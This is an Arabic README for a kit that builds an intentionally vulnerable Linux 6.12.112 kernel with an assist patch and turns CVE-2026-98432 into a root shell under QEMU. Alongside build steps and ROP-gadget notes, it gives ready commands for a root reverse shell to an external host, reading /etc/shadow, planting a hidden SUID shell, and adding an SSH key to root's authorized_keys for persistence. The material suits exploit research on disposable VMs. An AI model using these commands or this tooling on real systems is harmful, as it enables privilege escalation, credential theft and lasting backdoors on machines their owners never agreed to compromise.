
مجموعة أدوات الحصول على shell بصلاحيات الجذر لمختبر CVE-2026-98432 (بمساعدة النواة؛ وليست استغلالاً عن بُعد جاهزاً)
تبني هذه المجموعة نواة Linux 6.12.112 معرّضة للثغرات عمدًا مع مساعد صغير لاستغلال الثغرة، وتحوّل مسار CVE-2026-98432 إلى صدفة جذر تفاعلية على وحدة تحكم QEMU.
إنها أداة مساعدة للمختبر، وليست استغلالًا عن بُعد جاهزًا. تُستخدم مسارات كود CVE الحقيقية:
ip_options_rcu المزوّر إلى ip_options_build() عبر
مسار SYN-ACK المعاد إرساله؛skb_shared_info الخاص بـ SYN-ACK؛skb_release_data() دالة الاستدعاء المزوّرة ubuf_info->ops->complete؛call_usermodehelper("/bin/sh", ...).المساعد هو التحرير القسري/الكائن المزوّر وسلسلة الاستدعاء/ROP المُهيّأة. على نواة معرّضة للثغرات جاهزة، القطعة المفقودة هي البدائية الموثوقة لاستعادة نفس الـ slab/نفس الـ CPU وتجهيز الحمولة؛ وهي غير منشورة. راجع "حالة النواة الجاهزة" أدناه.
/dev/kvm)؛ يعمل TCG لكنه بطيءsudo apt-get update
sudo apt-get install -y build-essential flex bison bc libelf-dev libssl-dev \
cpio qemu-system-x86 busybox-static python3 python3-pip
python3 -m pip install --user ROPgadget
cd cve-2026-98432-root-shell
chmod +x build.sh
./build.sh
البناء الأول ينزّل Linux 6.12.112، ويعكس استدعاءَي kfree_rcu()،
ويطبّق المساعد، ويبني bzImage، ويحل الرموز/الـ gadgets من vmlinux
المُرقّع، ويعيد البناء، ويحزم initramfs، ويقلع QEMU مع nokaslr.
إذا لم يكن KVM متاحًا:
QEMU_ACCEL=tcg ./build.sh
(يعود السكربت حاليًا إلى TCG تلقائيًا عندما لا يكون /dev/kvm قابلًا
للكتابة؛ ويُقبل المتغير QEMU_ACCEL للتسهيل.)
في طرفية ثانية على المضيف:
python3 trigger.py 127.0.0.1 9000
أنشأ init الخاص بالضيف /tmp/cve98432_root.sh مع صدفة طرفية
(sh -i </dev/console). يكفي اتصال TCP واحد بمستمع الضيف.
يجب أن تعرض طرفية الضيف شيئًا مثل:
[ 3.942024] BUG: scheduling while atomic: ...
...
uid=0 gid=0
#
انسخ root_shell.py إلى الهدف (الذي يقوم بالفعل بإقلاع نواة aid) وشغّله
بالمستخدم الذي لديك:
python3 root_shell.py
يكتب /tmp/cve98432_root.sh بحمولة reverse-shell بصلاحيات الجذر، ويشغّل
مستمعين على واجهة loopback (9000 للمُشغِّل، و4444 للـ shell)، ويُفعِّل
أداة aid، ويربط shell الجذر بطرفيتك:
[+] trigger sent; waiting for the root shell...
[+] root shell connected; type commands, exit to close
uid=0 gid=0
#
خيارات مفيدة:
# check kernel/aid/ports without sending anything
python3 root_shell.py --check
# run one command as root and print its output
python3 root_shell.py --command 'id; cat /etc/shadow | head'
# send the root shell to an external listener instead of bridging locally
# (run: nc -lvnp 4444 on your machine first)
python3 root_shell.py --reverse 10.0.0.5:4444
# different ports / retries / no TTY raw mode
python3 root_shell.py --trigger-port 9100 --shell-port 4455 --retries 5
لا يستدعي سلسلة aid الدالة machine_power_off() إلا بعد انتهاء تنفيذ أمر الجذر.
إذا لم ينتهِ أمر الجذر أبدًا، ينتظر النواة في call_usermodehelper()
ويبقى المضيف قيد التشغيل. يتيح لك ذلك إنشاء مسار جذر دائم:
# SUID shell in /var/tmp, then keep the helper alive
python3 root_shell.py --command \
'cp /bin/sh /var/tmp/.rootsh; chmod 4755 /var/tmp/.rootsh; sleep 86400'
# after the client returns
/var/tmp/.rootsh -p
أو أضف مفتاح SSH وأبقِ المساعد نشطًا:
python3 root_shell.py --command \
'mkdir -p /root/.ssh; echo "ssh-ed25519 AAAA... you@host" >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys; sleep 86400'
يحافظ sleep على بقاء مساعد وضع المستخدم (وبالتالي سلسلة النواة) حيًّا،
لذلك فإن الهدف لا يُطفأ. استخدم /var/tmp أو /root، وليس /tmp،
إذا كان /tmp مُثبَّتًا بـ noexec/nosuid. عند انتهاء الـ sleep، تستأنف السلسلة
وتُطفئ المضيف؛ اقتل عملية الـ sleep بصلاحيات الجذر إذا أردت
التحكم في ذلك.
يُنشأ ملف الحمولة بصلاحيات 0700 وO_EXCL|O_NOFOLLOW، ويُزال
بعد الاستخدام ما لم يُمرَّر --keep-payload. عند خروجك من صدفة الجذر،
تستدعي سلسلة aid الدالة machine_power_off(). استخدم جهازًا افتراضيًّا قابلًا للتخلص منه، أو
عدّل AID_POWEROFF في aid_patch.py إذا كنت بحاجة إلى بقاء المضيف قيد التشغيل.
تشغّل السلسلة:
call_usermodehelper("/bin/sh", ["-c", "sh /tmp/cve98432_root.sh"], env, 2)
لذا يُنفَّذ السكربت دائمًا بصلاحيات الجذر (root).
| العنصر | الحالة |
|---|---|
ip_options_rcu المزوَّر + ip_options_build() | مسار CVE، لكن التخصيص مفروض بواسطة المساعد |
إفساد skb_shared_info | يضبط المساعد الحقول مباشرةً في tcp_v4_send_synack() |
اختطاف استدعاء destructor_arg | مسار تفكيك حقيقي لاحق |
محور ROP + call_usermodehelper() | اختطاف حقيقي لمسار التحكم في النواة، مُهيَّأ بواسطة المساعد |
إقلاع nokaslr | تبسيط مختبري؛ لا حاجة لتسريب KASLR |
وصل البحث المستقل المنشور الذي يتبعه هذا الطقم إلى النقطة نفسها باستخدام نواة مزوَّدة بأدوات قياس: كتابة OOB حقيقية ومسار استدعاء، مع تحرير/استعادة وتجهيز الحمولة بمساعدة خارجية. سلسلة مسلَّحة تعمل على نواة قياسية غير متاحة للعموم حتى 2026-11-02.
يستخدم المساعد عناوين نواة مطلقة لأن الضيف يُقلع بـ
nokaslr. القيم في aid_patch.py هي القيم الافتراضية من بناء المختبر
المنشور 6.12.112. يقرأ resolve.py ملف vmlinux المُرقَّع و
System.map ويكتب symbols.json؛ ثم يحدّث build.sh التعريفات
ويعيد البناء.
إذا لم يتمكن resolve.py من العثور على gadget (لأن ROPgadget مفقود أو غير مكتمل)،
ثبّته وأعد التشغيل:
python3 -m pip install --user ROPgadget
python3 resolve.py work/linux-6.12.112
python3 aid_patch.py --update work/linux-6.12.112
make -C work/linux-6.12.112 -j"$(nproc)" bzImage
يجب أن يطابق pivot gadget تخطيط السلسلة في aid_patch.py: تعليمة
lea -0x18(%rbp), %rsp بالإضافة إلى أربع تعليمات pop وتعليمة ret/jmp. إذا كانت نسختك المبنية تحتوي
على pivot مختلف، فعدّل SEND_BLOCK في aid_patch.py أو اختر gadget مطابقًا.
لا تحتوي النواة الأصلية المصابة على سلسلة root موثوقة وعامة وغير معاونة. العوائق هي:
ip_options_rcu المحرَّرة ذات الحجم 72 بايت داخل
نافذة ما بين التحرير والبناء بواسطة كائن يحتوي على بايتات يتحكم بها المهاجم. يُعدّ
كائن saved_syn (TCP_SAVE_SYN) المرشح الطبيعي، لكن القياسات المستقلة في المختبر تُظهر أن الاستعادة
غالبًا ما تحط على كتلة خيارات أخرى، وليس على الكتلة قيد التنفيذ.srr/rr/ts أربعة بايتات خاضعة للتحكم عند إزاحة قريبة من
مخزن skb المؤقت؛ وكتابة مؤشر destructor_arg كامل بحجم 8 بايت تتطلب إما
dword علوي قديم أو بدائية أقوى.تحل سلسلة Anthropic المنشورة هذه المشكلات باستخدام بدائية استعادة/staging لم تُنشر. يتوقف هذا الطقم عمدًا عند إثبات التحكم في تدفق التنفيذ بدلًا من التظاهر بأن السلسلة الأصلية تعمل.
| الملف | الغرض |
|---|---|
build.sh | النواة + initramfs + QEMU |
aid_patch.py | يطبّق مساعدة الكائن المزوّر/الاستدعاء الراجع/ROP |
resolve.py | يحل الرموز/gadgets للنسخة المبنية المعدّلة |
listener.c | مستمع TCP داخل الضيف (accept + close) |
init | سكربت init الخاص بالضيف |
trigger.py | مُشغّل اتصال واحد من جهة المضيف (نسخة الطرفية) |
root_shell.py | مُشغّل بملف واحد + جسر reverse-shell لهدف يحتوي على Python |
كل شيء موجود تحت work/ (أو الدليل الممرَّر كوسيط أول).
احذفه لاستعادة مساحة القرص:
rm -rf work